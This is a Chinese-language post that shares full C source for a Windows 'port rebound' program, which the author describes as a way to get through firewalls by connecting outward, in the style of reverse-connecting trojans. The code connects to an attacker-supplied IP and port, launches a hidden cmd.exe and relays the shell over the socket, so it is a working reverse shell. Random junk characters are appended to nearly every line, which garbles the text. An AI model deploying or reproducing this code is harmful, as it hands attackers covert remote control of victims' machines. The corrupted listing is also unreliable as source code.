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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l_Mi'}j  
BrcT`MM[(=  
/* ============================== B[w~bW|K  
Rebound port in Windows NT J39,x=8LL  
By wind,2006/7 GSj04-T"  
===============================*/ %{Ez0XwGCn  
#include S7vT=  
#include  df;-E  
j?K]0j;  
#pragma comment(lib,"wsock32.lib") tQ=M=BPZ  
rf?Q# KM\W  
void OutputShell(); f^\qDvPur  
SOCKET sClient; Q5b~5a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /"Ws3.p  
q^ lx03   
void main(int argc,char **argv) WB<_AIt+  
{ wyvrNru<l4  
WSADATA stWsaData; A6v<+`?  
int nRet; o[pv.:w  
SOCKADDR_IN stSaiClient,stSaiServer; %Aq+t&-BCX  
{P ZN J 2~  
if(argc != 3) a/Z >-   
{ }c?/-ab>  
printf("Useage:\n\rRebound DestIP DestPort\n"); #&a-m,Y$sx  
return; 3eX;T +|o  
} |7KW'=O  
PZmg7N  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q$ r1beA  
Vw0cf;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OLp;eb1g  
J-yj&2  
stSaiClient.sin_family = AF_INET; {U/a h2*  
stSaiClient.sin_port = htons(0); ;dgxeP;mp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); # Un>g4>Rh  
g(){wCI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |d =1|C%,  
{ o\6A]T=R  
printf("Bind Socket Failed!\n"); f.SV-{O_  
return; uH 1%diL^  
} f Glvx~  
 JsAl;w  
stSaiServer.sin_family = AF_INET; 1ga.%M*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c]3% wL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y?G\@ 6  
$J}d6%   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @y?<Kv}s  
{ 2~<N  
printf("Connect Error!"); z=C'qF`  
return; (T+fO}0  
} wn2+4> |~p  
OutputShell(); _EMq"\ND  
} -v"\WmcS  
r:Uqtqxh  
void OutputShell() /;>U0~K  
{ K8xwPoRL  
char szBuff[1024]; p!5= 1$  
SECURITY_ATTRIBUTES stSecurityAttributes; 6apK]PT  
OSVERSIONINFO stOsversionInfo; `D)ay  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -ZwQL="t  
STARTUPINFO stStartupInfo; ')ZxWYT O^  
char *szShell; v|r\kr k  
PROCESS_INFORMATION stProcessInformation; (s`oJLW>  
unsigned long lBytesRead; P6q`i<  
i Lr*W#E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n-iy;L^b  
oj\av~cI  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ti6\~SY  
stSecurityAttributes.lpSecurityDescriptor = 0; mHcxK@qw  
stSecurityAttributes.bInheritHandle = TRUE; e`gOc*  
IRy!8A=X  
fT9z 4[M  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ::bK{yZm   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fNjxdG{a  
44;ZX$HL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yO}RkRA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X]up5tk~  
stStartupInfo.wShowWindow = SW_HIDE; ukM11LD5x  
stStartupInfo.hStdInput = hReadPipe; 'wh2787  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5m2`$y-nb  
f%r0K6p  
GetVersionEx(&stOsversionInfo); ia=eFWt.  
V^Gz7`^  
switch(stOsversionInfo.dwPlatformId) Th1/Bxb:  
{ i"|="O0v5  
case 1: l"9.zPvT<  
szShell = "command.com"; qbu>YTj  
break; o&M2POI~q  
default: 4?Mb>\n%<^  
szShell = "cmd.exe"; w D|p'N  
break; CZE!rpl  
} v,6  
0V{a{>+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MZ" yjQA  
%N}O Mc.W  
send(sClient,szMsg,77,0); %{GYTc \'X  
while(1) |M&i#g<A;  
{ N~I2~f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o#(z*v@  
if(lBytesRead) ki/xo^Y2<  
{ +)8,$1[p|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jY^wqQls  
send(sClient,szBuff,lBytesRead,0); 88c-K{} 3  
} o5~o Rmsr  
else Vq[L4  
{ GJlkEWs  
lBytesRead=recv(sClient,szBuff,1024,0); r8PXdNg  
if(lBytesRead<=0) break; ;uw`6 KJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wk @-O}W  
} eK]g FXk  
} M#v#3:&5  
8S;]]*cD~  
return; ;O8Uc&:P  
}
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